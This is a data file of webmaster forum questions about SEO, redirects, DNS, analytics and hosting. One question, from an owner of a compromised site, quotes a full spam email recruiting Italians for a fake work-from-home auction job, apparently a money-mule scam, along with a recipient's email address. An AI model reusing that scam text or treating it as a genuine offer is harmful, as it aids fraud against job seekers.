{"id":"14234","title":"Yahoo media player not working with Ruby on rails","text":"I have a yahoo media player embedded in my webpage. I am currently using Ruby on Rails to create\/edit my web page. When i click the play button next to a track the YMP waits a while and then goes to the next track without playing the first one. I then get a warning on my second (last) track that its file could not be found. Does anyone has a better recommendation for an audio player or a way to fix this one?"}
{"id":"54303","title":"Grapeshot crawler ignoring robots.txt","text":"Has anyone come across a crawler called Grapeshot? They are hammering the same page repeatedly on our website. I believe they are looking for ad related keywords, based on previous content ad campaigns. The odd thing is we never ran any such campaigns on the page they are so interested in. We do have only a few pages running AdSense, is this what has attracted Grapeshot? I've added the following declaration to my robots.txt, but they don't seem to be honouring it? User-agent: grapeshot Disallow: \/ Any ideas on how to block this nuisance crawler? I'm starting to think the best way is by setting up IP rules in IIS?"}
{"id":"18993","title":"Site Template Images - Borders, Lines, Curves","text":"Most of the sites posted here and elsewhere mentioning sites with free full- sized backgrounds. I was curious if there is a site that has free graphics for creating a template, with images like corner radiuses, gradient borders, and other smaller graphics to help put together the site template. That's something I'm in need of, and was wondering if its around anywhere. Thanks."}
{"id":"58787","title":"Is bad, from a SEO perspective, to have many pages on a website that only contain YouTube embedded videos?","text":"Will Google penalize my website for having plenty of pages that only contain YouTube embedded videos. Is this a bad idea SEO-wise?"}
{"id":"54659","title":"Google's usual behavior on examining articles","text":"There is an original content(article) from a website, I copied it and paste it in a Paraphrasing tool. The tool did a great job in paraphrasing. I tried checking using copyscape and it did detect paraphrased article. My next question is, how about google would I be penalized or not crawled for this. I understand the ethical issues on this."}
{"id":"26","title":"Way to list \"Contact Us\" email address on web site, yet reduce likelihood of spam?","text":"What's a good way to list a \"Contact Us\" email address on a web site, while reducing the likelihood it will get spammed? Is putting the email address in an image the best technique, or are there others?"}
{"id":"14238","title":"Numbered list with subclauses","text":"I'm trying to create a legal document with decimal numbered subclauses, then alpha and roman subsub and subsubsub clauses. (whew!) ` **1. MAIN HEADING** 1.1 This is an example of a sub-clause and you can see that even though the words continue on to the right, it would be best if it wrapped around and formed a block to the right of the decimal number 1.2 In doing so the normal second clause should also wrap around but the second subsequent clause should hang in from the left and be in a block. See below for the remaining clauses (a) this list is completely for demonstration and should not be construed as legal language in any way, nor should make sense in that (b) should the indentation take more than: i) this many lines it would be overly big 11) legal numbering continues in the sub-sub clauses with the use of lower roman lettering and should flow below in a block iii) and continue the formatting on to the next line but be underneath the body of the the text and not begin directly below the number itself. In this example the text carries out to the right but I need it to wrap around underneath. Sorry its so wordy, need this to show the example. **_2. Second Clause Heading_** 2.1 and so it continues thus I've found the examples for decimal numbering but they do not create a block out to the right of the number, and they carry on with multiple decimals rather than alpha and roman sub clauses."}
{"id":"6478","title":"how to include zend library while uploading?","text":"I have completed my project in zend framework for the first time. But I don't know how to include zend library in webhost. So, I uploaded(uploading) zend library about 24MB in my library folder. Can this be done without it? Or if there is any better solution or suggestion?"}
{"id":"38705","title":"How easy is it to code in-built videos?","text":"First time poster so please don't bite my head off. Basically, I'm having a site built for me and I don't really know anything about coding but I'm not too sure if I trust my web developer. I asked him recently about adding a feature where I could display built-in videos like in this page and he quoted me quite a high amount for it. I just wanted to double check with you guys whether this is a difficult feature to add in and whether it justifies a reasonable amount of money on top of what I'm already paying him. Thanks in advance for your help."}
{"id":"38704","title":"<!--hppage status=\"protected\"--> Bad for SEO?","text":"I've just come across this protection code: <!--hppage status=\"protected\"--> It hides the html and page code from anyone who wants to right click and view source. I can't see a work around to this - so its great... However is this terrible for SEO?"}
{"id":"5488","title":"What new cross-browser features can we use if we drop support for IE6?","text":"My company is dropping support of IE6 and I just realize that we can use a set of great features. Is there a list of CSS, Javascript features which we can use with IE6 RIP?"}
{"id":"5487","title":"Managing OpenX campaigns for several advertisers","text":"We're running our own OpenX instance with several advertisers. Each month, the advertiser's campaign should reset its available impressions, based on whatever plan the advertiser paid. I think this is a pretty common scenario. Question is: how do you manage this? Do you expire the old campaign and create a new one with the new amount of impressions? Or do you just add the impressions to the existing campaign?"}
{"id":"5484","title":"Link of image and text","text":"I am currently linking related and text (caption) in the following way: <a href=\"\/link\"><img src=\"image.jpg\" ... \/>This is caption<\/a> Meaning I combine both and text inside the same tag. Is that the right way to do it, syntax and SEO wise? Joel"}
{"id":"32508","title":"How to share web content to mobile?","text":"I am newbie. I built a site. But I am not know how to share web content to mobile? I mean add some button, user click the button, share site url or content to android, iphone or even basic symbian system. Should I make a contact to telephone company for a SMS service? Or only some 3rd part service on Internet? Is there any tutorial for reference or any software? Many thanks."}
{"id":"20023","title":".htaccess RewriteRule $1 contains wrong value","text":"I have a RewriteRule that is not behaving as I expect. I want `site.com\/author\/fred` to map to `site.com\/author\/index.php?a=fred` I have an author directory within the site root. The author directory contains the .htaccess file below. My problem is that `$1` contains the value `index.php` instead of the regex match. The entire .htaccess file is below. Can you see my mistake? Thank you. Options +FollowSymlinks RewriteEngine on RewriteRule ([^\/]+)\/?$ index.php?a=$1 [NC,L]"}
{"id":"30579","title":"New requests for \/cache\/ URLs","text":"A few weeks ago requests following this type of pattern: http:\/\/mysite\/cache\/7a226e8aa3a4380444a329a7b0dd0f40 http:\/\/mysite\/otherfolder\/cache\/7a226e8aa3a4380444a329a7b0dd0f40 started to appear in my logs. Almost all the requests come from Indian IPs. Anybody know what is generating these requests and the intent?"}
{"id":"20025","title":"Accessible web design","text":"Not sure if this question is a good fit for this forum, if not maybe some moderators can move it to StackOverflow. Where should I be looking to make an accessible web site nowadays? I remember 10 years ago there was the WAI Initiative. Is that still documenting best practices and issuing recommendation towards making an accessible website? I mean I know they do have an updated website but is someone still considering their recommendation meaningful or has some other standard emerged out of the real world practices? Or is accessibility nowadays about writing valid and semantically meaningful markup\/css and applying micro-formats the way Wordpress does it?"}
{"id":"12402","title":"SEO: Full Redirect from Subdomain to Root Domain","text":"I recently setup a staging site on our server's subdomain. Somehow Google managed to crawl the pages. Now we are ready to transfer the files to the main domain and delete the files on the subdomain. This is a big problem for our SEO which will make the pages on the root domain appear to be duplicates of the indexed pages on the subdomain. All paths on the subdomain is exactly the same with ones on the root domain, only the host part is different. Here are some of the many different path structures of the site: http:\/\/beta.mysite.com\/ --> http:\/\/www.mysite.com http:\/\/beta.mysite.com\/index.php?class=xxx&func=xxxx --> http:\/\/wwww.mysite.com\/index.php?class=xxx&func=xxxx http:\/\/beta.mysite.com\/class\/xxx\/func\/xxx --> http:\/\/www.mysite.com\/class\/xxx\/func\/xxx http:\/\/beta.mysite.com\/seo-text-here-class-xxx-func-xxx --> http:\/\/www.mysite.com\/seo-text-here-class-xxx-func-xxx http:\/\/beta.mysite.com\/xxx-xxx.html --> http:\/\/www.mysite.com\/xxx-xxx.html As you can see only the host part changed, everything else remains as it is. QUESTION: Is it possible to redirect requests on the subdomain to do a SEO friendly redirect to the actual files on the root domain without having to explicitly write each rule for different path structures? NOTE: The redirection should be transparent to users which means they should see that the page actually redirects to the main site."}
{"id":"44106","title":"Best location for a websites CMS","text":"As part of my job I recently started making numerous content management systems for websites. So many that obviously my next step was to set up a 'template' for the websites so I could quickly remove or add elements to suit the clients needs. Basically I chose Code Igniter, and now am ready to plug it in to a front end. In the past I placed websites CMSs in a sub-directory of that site, so mysite.com\/cms for example. That was using 'spaghetti' PHP however. Using a framework such as CI or any MVC structure, is it better to host it in a subdomain, keep the front end and the back-end in the same application, or to split them on separate domains? Or does it really not matter?"}
{"id":"58270","title":"Is it possible to create a \"all keywords in adgroup must contain X\"?","text":"I run a Google AdWords campaign with (amongst others) the following AdGroups: Accounting Accounting non profits in each group I have a bunch of keywords. I use broad match with a + before it. Like: +accountingsoftware +accountingsoftware non profit I have the problem that sometimes phrases that should be matched by the first AdGroup get's matched by the second AdGroup. For example the phrase `simple accounting software` was matched by the AdGroup `accounting non profits`. I know there are negative keywords, but I would like something like a list of positive keywords. I would like to make it so that unless the word \"non profit\" or \"NGO\" etc are in the search phrase, the ads never show up. Is this possible?"}
{"id":"44109","title":"making www.foo.com go to srv5.bar.net\/~foo","text":"What I need accomplished is when a person out there in internet-land types in www.foo.com they are actually getting served content from srv5.bar.net\/~foo I have root access to both the nameserver ( bind9 ) and the webserver ( apache2 ). ( Yes, I do indeed use sudo rather than running as root ) I already know how to enable the UserDir module to make \/home\/foo\/public_html into srv5.bar.net\/~foo which is exactly what I want. I can also config the A name in dns so that foo.com is by bar.net I don't know how to make the connection of www.foo.com -> srv5.bar.net\/~foo\/ I don't even know what this is called to be honest. I don't want to use what I understand to be a cloak that simply puts what I want inside a frame that fills the window. Just in case it's required, I'm on debian."}
{"id":"18198","title":"Can I tell which users are downloading files with SMF or PHPBB forum software?","text":"I want to create a forum where I will have attachments available for download to registered users. I'd like to be able to see which registered users have downloaded which files. Is there a way to do that using SMF or PHPBB? I don't need to have 100% accuracy, as I imagine there are probably sneaky ways of masking your download, but this will be on a forum that is not really attracting people that would be using those methods-IE these are totally legit files that people will be downloading in a business setting. PS: The files will live on my server, so I suppose it's possible to add a second layer where a user has to enter a password, but I prefer to just have the files as attachments on the forum. Thanks for any help!"}
{"id":"47487","title":"How to avoid duplicate content even when using 301 redirections?","text":"I manage a website with tens of thousands of pages named `\/view.php?id=1234` and so on. Because we wanted it to be more SEO-friendly, a `301 Moved Permanently` redirection of each one of them to `\/view\/name-of-the-page-1234\/` was created. This was about 5 years ago, and everything went fine. But recently thousands of pages have been reappering in Google with the old `view.php` URL! So I have about 20,000 results in common between the redirected and the unredirected URLs, which I am guessing will be sooner or later penalized for duplicated content. I have been told about disallowing `view.php` in `robots.txt`, but I think that wouldn't be a good idea since Google would stop crawling redirections completely. How could I stop this duplicate content from appearing in searches and avoid being penalized?"}
{"id":"18195","title":"Are domain hacks advisable? and how do they affect SEO?","text":"I'm interested in creating a domain hack, using the .es ccTLD. If the website does not target Spain, is this advisable? I've seen URL shortening services use ccTLDs to provide shorter URLs, however their main website (i.e. bit.ly as bitly.com), uses a standard .com TLD. If I do use an .es ccTLD to pluralize an English word for an English website (i.e. branch.es), would this hurt SEO? I don't want search engines (or people, for that matter) to think the website is in Spanish, and to only serve to those who speak Spanish instead of those who speak English. Any insight you may have would be helpful. Thanks for your time and help! ~Dustin Tigner"}
{"id":"18890","title":"cheap paid mail forwarding service for 200-300 accounts","text":"I am looking for a service which can easily forward up to 200-300 email accounts. I am ok with paying a nominal fee . I don't want to manage yet another mail server. I looked into mailroute, but its 500 US$ per month for my use case (way too expensive) Cheap would be 10$ per hundred users. Perhaps with unlimited forwarding of email."}
{"id":"18191","title":"How do I setup a subdomain in godaddy.com and point to another server?","text":"When I create a subdomain in godaddy.com the only option is to forward that subdomain, and I don't want to forward it, I want it to point to another server. I don't want the main site or the email accounts to be disrupted either. Currently I have a main site: walkerseo.com and a subdomain: demo.walkerseo.com that is working fine. demo.walkerseo.com is hosted on a static site and walkerseo.com is a website that is hosted within a CMS. The static hosting people keep pointing to godaddy.com and godaddy.com tells me I have to setup the subdomain at the static hosting place. I am frustrated and confused and need to get some subdomains setup. Any help is appreciated."}
{"id":"48710","title":"AdSense CPM and content topics","text":"I run a few blogs on topics like programming, linux tips and network security. I noticed the following: 1. Till last year had only 1 blog that had posts on PHP, linux tips, network security etc. The AdSense RPM was around 1.00. 2. Then I split the content into 3 separate blogs, one focused on web development\/PHP\/MySQL. second one focused on Linux\/Windows how-tos and tips and third one focused on network security and related network topics. The Adsense RPM rose significantly for 2 blogs, and was 1.38 (PHP blog), 0.87 (tech tips blog) and 1.90 (network security blog). In the month of april 2013 the site on network security had the highest traffic and the Adsense income of that site was twice that of all three sites combined previously. My question is simple, does focusing on one topic lead to higher CPC\/CPM?"}
{"id":"48713","title":"Featured Links\/Blogroll (irrelevant links) in a blog is good or bad for SEO?","text":"While I’m checking my websites’ back links using backlink watch tool I saw so many backlinks are from Blogspots where my links are placed under the category featured Links. The main problem is my web site is related to boxing but that blog is related to software and viruses. I don’t know whether this backlinks are good or bad in SEO point of view. If I remove those links my backlink will reduce. Will my web sites PR decreases if I remove those backlinks?"}
{"id":"6474","title":"One-user databaseless CMS authentication","text":"**Background:** My client needs a **_one-user_** bare-bones content management system, which should be capable to * Edit text-content in plain-text or in WYSIWYG-style * Possibly create new subpages * Update image gallery, ie. upload files * Delete previously uploaded files No need for commenting or such interaction. Requirements: * PHP * JavaScript * _**No database_** Currently I'm planning to code it from scratch, since the functionalities are somewhat basic. What is the best available authentication method for this lone content admin? Options that came to my mind first: 1. .htaccess & .htpasswd based solution 2. hard-coded, salted, encrypted PHP password with sessions. While option 2 is definitely more elegant, I wish the option 1 would suffice. The username & password combo would be located outside the public_html \/ www -folder structure. * * * **Real question:** Is .htaccess & .htpasswd authentication sufficient? Is it adequate security-wise? What are the possible pitfalls? (Okay, logout is one rather major pitfall, since it's practically impossible to implement due to stateless HTTP\/1.1 specification...) **Bonus question 1:** What are the other good options that I didn't think of? Out of the box ideas are always welcome. Email-editing? Why not :-) **Bonus question 2:** Are there similar databaseless CMSes readily available? Please bear in mind there is no need for more users nor user-management. I'm not asking programming tips but rather concepts how it could be done. * * * **The RFC 2617, which I found through Piers' link below, answers the most of my _real question_**"}
{"id":"58318","title":"Switching from Squarespace to hosted WordPress site w\/ domain at GoDaddy and email through Google Apps?","text":"I have a website client that has their domain with GoDaddy, website with Squarespace, and is using Google Apps for their domain's email. We are building a new WordPress based website and will launch that soon on a recently purchased hosting plan (standard cPanel based service) while keeping Google Apps for email. I believe that in their GoDaddy DNS editing area, we just need to do the following steps, could someone with knowledge of this confirm? 1. change A record with the heading of Host and value of @ to the IP of the new hosting account? 2. also change the nameservers to the values of the new host? 3. all the MX records stay the same and the CName records stay the same? Thank you very much for the help. I'll attach a screenshot of the GoDaddy DNS editing area for reference, with some info crossed out. "}
{"id":"31517","title":"Where does one find syntax descriptions for IIS URL Rewrite condition input variables?","text":"The need to understand what the variable represents and also perhaps examples of what it contains would be helpful. I've seen such postings for URL Rewrite of Apache in the documentation, but nothing official for IIS that I can see. I'm trying to understand what all these mean: "}
{"id":"59684","title":"How should I format my HTML emails","text":"I am just starting to send HTML emails. I read that I need to include `<head>` and `<body>` tags in my HTML emails. Are there other tags, meta tags, or other things that need to be included too? I'm considering using an HTML5 boilerplate, but I'm not sure that would contain all of the standard web tags required."}
{"id":"29399","title":"Guestbook Dead or Alive?","text":"today i remembered one of my sites from 1999. It was on of my first. In those days it was the state of the art to use a guestbook? I never used one since then again. Are there any webmaster\/designer\/devs who still use this relic from the old days?"}
{"id":"29392","title":"Google 404 errors on webmaster page","text":"I have a lot of 404 errors on my webmaster's page. I don't know how google ended up on those urls. I checked my site many times to see if any links to those pages appear, but found nowhere. Is google trying out new urls on its own depending on the url structure?. Will these 404 errors result in bad outcome to my seo."}
{"id":"54610","title":"How to get rid of spam that sends from clients own email address?","text":"I've Googled everywhere for a solution for this, but though the same issue appears to be happening to a lot of people, I havent found anything that helped. Several of my clients are receiving loads of spam emails with the senders email being their own. The emails subject line is: > Environmental corporation searching for representatives worldwide. The emails are not being sent from any scripts in the sites and all the code appears clean. I have also updated the sites CMS. Would anyone know how to get round this issue? Any help is appreciated!"}
{"id":"23643","title":"Republishing blog posts on a popular website","text":"I started my blog about programming yesterday and in order to promote and increase traffic I submitted my rss to Codeproject which pulls my posts and publishes them at Codeproject. While it increases the number of people reading my posts (but they are reading it at codeproject) I am worried that Google will penalize my site for duplicate content (Especially considering that Codeproject has much more reputation compared to my new website). The post at Codeproject has a link back to my blog post but it does not have \"rel=canonical\". So my question which one is better: a link from a high reputation website and some traffic or should I remove it from codeproject so that my blog is not penalized? What if codeproject adds \"rel=canonical\" to the link?"}
{"id":"23130","title":"I would like permanently redirect page within website","text":"I have couple hundred dynamic pages within the website, that I think to eliminate. They are indexed by search engine. I'm thinking to make permanent redirect to the home page of the website. Example: Dynamic page http:\/\/www.domainname.com\/dynamic_name.html Home page http:\/\/www.domainname.com\/default.aspx The home page has Google page rank 5. the dynamic pages has rank 0. If I do a redirect will it effect home page rank? What will be the best way to eliminate dynamic pages?"}
{"id":"23131","title":"Reponsive Web Design : Does it download the same amount of data on every device?","text":"I want to redesign my blog and website on wordpress to accommodate ever increasing mobile users and tablet users. I am also hearing about responsive design. I want to know does a responsive web design download the same amount of data on a computer screen as well a mobile device? I have also seen many big marketing firms have not invested in responsive web design and are still going for a separate website optimized for mobile. So what should I go for, a responsive web design or a separate website optimized for mobile?"}
{"id":"59356","title":"Links in natural text VS plain list format","text":"Our home page features links to our 4 main sub pages (it's really more, but I'll use 4 as an example). It's currently just a list of links in the content body: > * Custom websites designed for desktop, tablets, and mobile phones > * Domain Name Registration > * Website Hosting > * Ecommerce Solutions > Disregarding user experience for better or worse and focusing on SEO only, I considered working the links into a paragraph in a more organic way: > We create custom websites designed for desktop, tablets, and mobile phones. > We take care of everything from domain name registration, website hosting, > ecommerce solutions and more! My assumption is that the paragraph form is preferred because it is more natural and reads better. From an SEO perspective, is there much of a difference?"}
{"id":"6522","title":"Which private PHP proxy?","text":"I'm looking for a private PHP proxy to put it on my hosting. I see there is lots of them so I'm wondering if I could get a recommendation on which ones are the best? Or something like \"this one is better then the rest because of: ...\"?"}
{"id":"30392","title":"Removing Memcache and Memcached from a Centos server","text":"A while back I started looking into caching, (I think) I mistakenly installed both Memcache and Memcached. If I cd \/ then I have both: memcache\/memcache-3.0.6 memcached\/memcached-1.4.10  How should I go about removing these completely from the server? I'm using Centos if that helps?"}
{"id":"15016","title":"Mod rewrite rule question\/help","text":"I have the following ruleset in my .htaccess file which basically rewrites my php pages and makes them appear as subfolders, so for example, `http:\/\/www.mysite.co.uk\/about-me\/` points to `http:\/\/www.mysite.co.uk\/about.php`: Options +FollowSymLinks RewriteEngine On RewriteCond %{HTTP_HOST} !^www.mysite.co.uk$ [NC] RewriteRule ^(.*)$ http:\/\/www.mysite.co.uk\/$1 [R=301,NC,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !(\\.[a-zA-Z0-9]{1,5}|\/)$ RewriteRule ^index.php$ \/welcome-to-my-website\/ [L,R=301,NC] ReWriteRule ^welcome-to-my-website\/$ index.php [NC,L] ReWriteRule ^about-me\/$ about.php [NC,L] ReWriteRule ^my-portfolio\/$ portfolio.php [NC,L] ReWriteRule ^contact-us\/$ contact.php [NC,L] What I want to do is to automatically forward\/redirect the root - http:\/\/www.mysite.co.uk\/ - and the index.php page straight to \/welcome-to-my- website\/ via htaccess so that there is no duplicate content. Any idea how one may achieve this?"}
{"id":"15541","title":"Should I create topics in a forum I'm about to launch so that new users won't feel it is \"empty\"?","text":"I'm about to launch a discussion forum about Taiwan. I'm really trying to figure out how to deal with the first visitors. I've thought about the following so far: 1. Invite few friends to start some discussions and give some replies. 2. Create discussions myself and reply them myself (with another account). I don't want the first visitors to feel like the site is empty. Maybe I'm missing something. Any suggestions?"}
{"id":"6528","title":"Why do we have to pay for a domain name?","text":"The question may sound stupid but I find it very difficult to understand that why do we have to pay for a domain name if the web is free? And who do I pay? Why do I have to pay for a domain name?"}
{"id":"59358","title":"google analytics numbers","text":"My google analytic numbers change downward randomly. Where once a particular page\/post or even day will show 4000 visits, when I go back later in the day, the same variable is reduced to 1500 or something. Even my total numbers change downward. I'll look at the total page views for the month in the morning and then in again in afternoon and the second time they will always show several thousand fewer - what's going on?"}
{"id":"35019","title":"Where would a spam bot be located?","text":"I have a hosted website using a free hosting service, I received an email this afternoon saying that I have been suspended because my account has been compromised. Basically, someone is using my email account to mass send spam. I've changed all the passwords and everything but when my Gmail pulls the emails from the host it's still downloading loads of spam messages that show like this: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: fi.nadiamonti@gmail.com SMTP error from remote mail server after end of data: host 198.91.80.251 [198.91.80.251]: 554 5.6.0 id=23634-03 - Rejected by MTA on relaying, from MTA([127.0.0.1]:10030): 554 Error: This email address has lost rights to send email from the system ------ This is a copy of the message, including all the headers. ------ Return-path: <admin@TIMFORDSWEBSITE.COM> Received: from keenesystems.com ([66.135.33.211]:2370 helo=server211) by absolut.x10hosting.com with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.77) (envelope-from <admin@TIMFORDSWEBSITE.COM>) id 1TGwSW-002hHe-Lc for fi.nadiamonti@gmail.com; Wed, 26 Sep 2012 13:35:44 -0500 MIME-Version: 1.0 Date: Wed, 26 Sep 2012 13:35:43 -0500 X-Priority: 3 (Normal) X-Mailer: Ximian Evolution 3.9.9 (8.5.3-6) Subject: New staff members wanted at Auction It Online From: admin@TIMFORDSWEBSITE.com Reply-To: Marie.Glorioso@rjauctiondropoff.com To: \"Nadia Monti\" <fi.nadiamonti@gmail.com> Content-Type: text\/plain Content-Transfer-Encoding: quoted-printable Message-ID: <OUTLOOK-IDM-9aed7054-6a3e-e1a4-1d5c-3e73377652a6@server211> Date : 26 September 2012=0ATime : 13:35=0ASender : Dennise Halcomb Head = Office Manager of RJ Auction Drop-Off Int.=0A=0ANice to meet you Nadia M= onti=0A=0ARJ ADO Ltd., a USA based company, offers a significant amount = of goods worldwide for our customers on eBay and other auction venues. = Our company's main target is to provide a suitable and cost-effective se= rvice for any person, company or fundraising company. The main purpose o= f the administrative assistant \/ sales support representative is to cont= ribute to the sales force and add convenience to our cost-effective serv= ice dedicated to individuals, businesses, and organizations worldwide. O= ur HR department obtained your resume from one of the various job-orient= ed websites just to offer you this post.=0A=0AWorking Schedule: This is = a part time and home-based offer. You won't need to spend more than 3 ho= urs each day. Your =0Aschedule will be flexible.=0A=0ASalary: At the end= of the trial period (it lasts for 1 month) you will be paid 1,800 EUR. = With the average volume of clients your overall income will raise up to = 3,000 EUR per month. After the trial period is over your base salary wil= l grow up to 2,500 EUR per month, so you will earn 5% commission from th= e transactions completed.=0A=0AWhere?: Italy Wide. As it is a stay at ho= me position all the communication will be carried out via email and via = phone.=0A=0ARequirements: Access to the internet during the workday and = basic microsoft office skills are needed. Basic knowledge of English is = required (most of the contacts will be in English).=0A=0ACosts and Fees:= There are NO costs at any time for our employees. All fees related to t= his position are covered by the RJ ADO Co. Ltd..=0A=0AFurther Hiring Pro= cess: If you are interested in position we offer, please reply to this e= mail and send us the copy of your resume for verification.=0A=0AAfter re= viewing all of the received applications we will reply to successful app= licants only. Then we'll offer to these successful applicants a position= within our firm on a trial period basis for one month beginning from th= e date you sign a trial agreement. During this trial period you will rec= eive full guidance and support. Employees on a one monthly trial period = are evaluated at least one week prior to the end of their trial. During = the trial, your supervisor can recommend termination. At the end of the = trial period, the supervisor can offer continued employment, extension o= f trial period, or termination. After the trial period you may ask for m= ore hours or continue full-time.=0A=0AIf you are interested in this posi= tion, just reply to this email and send any questions you have and the c= opy of your resume for verification.=0A=0AThank You,=0AHR-Manager of RJ = ADO Co. Ltd.=0A=0APermission Settings=0AYou have been referred to RJ Auc= tion Drop-Off If you feel you received this email in error or do not wis= h to receive future messages, please reply to this message with \"remove\"= in the subject field. We will immediately update our database according= ly. =0AWe apologize for any inconvenience caused.=0A=0ARJ Auction Drop-O= ff Co. Ltd. I'm not aware of how this has happened. I'm not sure how anyone could have got hold of my password. It's a simple wordpress install, at some point recently my host went down and there was a fresh install of wordpress with default admin accounts, I have a feeling it could be something to do with this. My question is, even though I've changed all my passwords it's all still happening, is there annywhere in paticular this script would be stored on my host. I really can't deal with having my hosting account suspended and my email account sending all this spam."}
{"id":"47668","title":"Virtualmin: https domain showing up for all other domains that have ssl disabled","text":"My Virtualmin has a domain with an SSL cert enabled. All domains are on the same IP. The other domains have SSL disabled, and the problem is that if I request a https page for these domains they redirect to the domain with SSL. I just want a no response or a missing page response from the server. How can I configure this?"}
{"id":"25991","title":"Is the Bootstrap CSS on a CDN yet?","text":"Just checking to see if anyone knows of a CDN for the bootstrap css framework."}
{"id":"57852","title":"Google Webmaster Tools can cache sitemap files?","text":"I'm struggling to submit my sitemaps to Google Webmaster Tools. Previously I received report that I have an error in all my sitemaps (the error was at `<image:image>` tag as I did not specified necessary link in the sitemap header). After the error was fixed I tried to resubmit the sitemaps but Google Webmaster Tools abused for me again and for the same line number (in my case: line 8, containing `<priority>0.7<\/priority>`). If I click on the sitemap file name - it is downloading OK (previously it was with 'red' header with list of detected errors). So I really doubt that Google Webmaster Tools loading correct files. How can I make sure? The beginning of my sitemaps is the following: <?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\" xmlns:image=\"http:\/\/www.google.com\/schemas\/sitemap-image\/1.1\"> <url> <loc>Valid and tested link<\/loc> <lastmod>2014-02-03<\/lastmod> <changefreq>monthly<\/changefreq> <priority>0.7<\/priority> <image:image> <image:loc>Valid and tested link<\/image:loc> <image:title>11-word description<\/image:title> <\/image:image> <\/url>"}
{"id":"29448","title":"When reversing a Google Analytics e-commerce transaction is the per-unit price positive or negative?","text":"Google's own instructions for reversing an e-commerce transaction seem to contradict themselves regarding the unit price. In the instructions it states > The item field has a positive per-unit price and a negative quantity. yet, the code sample has a negative per-unit price and negative quantity. _gaq.push(['_addItem', '1234', \/\/ order ID - necessary to associate item with transaction 'DD44', \/\/ SKU\/code - required 'T-Shirt', \/\/ product name 'Olive Medium', \/\/ category or variation '-11.99', \/\/ unit price - required '-1' \/\/ quantity - required ]); Which is correct?"}
{"id":"29643","title":"Search Engine Indexing of a Database-Driven Website","text":"Suppose I have a MySQL whose rows are dog breeds and whose columns are properties of the breeds (e.g. coat color). The purpose of the site is to allow users to query the database with questions like \"Which breeds can have a brown coat?\". The site would then use PHP to form a query and display the breeds from the database having brown coats. Since there is no information present on the page until the user requests it, how can a search engine index such a site? Ideally, I would like my site to pop up in Google searches like \"dog breeds brown coat\". My only idea is to have a separate page with the database permanently dumped out as text, then have that page redirect to the site's main page (where the user can make the query). Is this an effective strategy? Are there better ways?"}
{"id":"31155","title":"What to do to notify search engines of of a cms switch Wordpress->Drupal?","text":"I'm switching a website from wordpress to drupal. The structure and content of the new website will be slightly different so i'd like to know what are the things i need to do in order to notify the search engines of these changes so that they reindex everything? Any idea on how long it usually take for the results to reflect the new content?"}
{"id":"29641","title":"Redirect to same site but add things into the URL","text":"I have a PHP file, index.php, that is set as the index file for my site. If someone wants to pull up a value for `a`, as an example, then they would type `http:\/\/www.website.com\/?value=a`. Is it possible to set up a redirect so that the user just has to type in `http:\/\/www.website.com\/a`? I tried setting up a redirect from `\/` to `\/?value=`, but the `a` is being forgotten and the user is simply redirected to `www.website.com\/?value=`. Is this possible to do? Also, what is the difference between a `Redirect` and a `RedirectMatch`? Thanks. I am using Apache on my Mac Snow Leopard Server. * * * Edit: I found this on Apple's website: you can use a RedirectMatch with a pattern of `(.*)\\\\.jpg` and a path of `www.website.com\/$1.jpg` to forward all JPG requests to website.com. Any idea how I could get this to work with the PHP?"}
{"id":"29645","title":"Visual aspects of JAVASCRIPT and logical aspects of JAVASCRIPT? What is good for a web designer, aspiring to be and UI designer?","text":"Visual aspects of JAVASCRIPT and logical aspects of JAVASCRIPT? What is good for a web designer, aspiring to be and UI designer? I am learning Javascript, however, while learning I observed that Javascript has two aspects: 1. Visual - which gives visual effects like, SLIDESHOW. 2. Logical - which gives you some logical effects like, a prompt box. My question: **I see that there is lot hell to learn in Javascript. I came with a decision to learn only those who have visual effects (As I think, I am not a Javascript programmer, so want to skip some and choose some.)** **Are my thoughts to choose some (Visual) & skip some (Logical) Javascript aspects, while keeping in mind that I would choose user Interface designing in near future?**"}
{"id":"55478","title":"Google Analytics dasboard widget to only show organic traffic coming from search enginges","text":"I am now displaying organic traffic in a Google Analytics dashboard widget by filtering `Medium` and `Traffic Type`, and they both are set to `organic`. What do I set in filters to show just a specific search engines's traffic, like just Google or just Bing?"}
{"id":"3863","title":"How does experts exchange get away with tricking google\/users?","text":"I know from reading Coding Horror one of the reasons stackoverflow set up was \"Stackoverflow is sort of like the anti-experts-exchange (minus the nausea- inducing sleaze and quasi-legal search engine gaming)\" So, my question is about the quasi-legal gaming. Example: http:\/\/www.experts-exchange.com\/Web_Development\/Web_Languages- Standards\/CSS\/Q_26543171.html No answers displayed, have to sign up and\/or pay to see them. Then google search for CSS scroll range and select the first result http:\/\/www.google.co.uk\/search?hl=en&source=hp&q=CSS+scroll+range If you scroll right to the bottom of the screen, there are the answers! So in essence, if you are coming from google you can see the answer, if you go directly to the experts exchange site and search for the answer you have to either be an active participant and earn the right to see the answer, or get it directly by paying. How\/why aren't they penalised for this?"}
{"id":"55477","title":"How to track site searches in Google Analytics?","text":"I would like to set up search queries in Google Analytics to have stats of site searches, however it doesn't seem to show me any stats. This is what I have entered so far:  On my site, searching (or getting search results) can be done in a couple ways - simple and rewritten. Here are examples of that: `http:\/\/domain.com\/?search=mobile+phone` `http:\/\/domain.com\/search\/mobile%20phone\/date\/1.html` What do I need to enter into the fields to have my searches tracked correctly in Google Analytics?"}
{"id":"55474","title":"htaccess redirect for directory listing to virtual host on a local MAMP stack","text":"For my local dev environment, I have just upgraded from MAMP to MAMP Pro so that I can easily create virtual hosts without getting too involved with configuration files. Server names will be formatted as: `foldername.localhost` For my site's directory I want to create an htaccess rule to redirect from `http:\/\/localhost\/foldername` to `http:\/\/foldername.localhost`, where \"foldername\" is a wildcard. Is this possible?"}
{"id":"55473","title":"Is using !# for AJAX URLs the standard when it comes to SEO?","text":"Will URLs like this `site.com\/!#users` only be crawled by Google's search engine bots, or is this a standard adopted by all search engines (e.g., Yahoo, Bing, DuckDuckGo, etc...)?"}
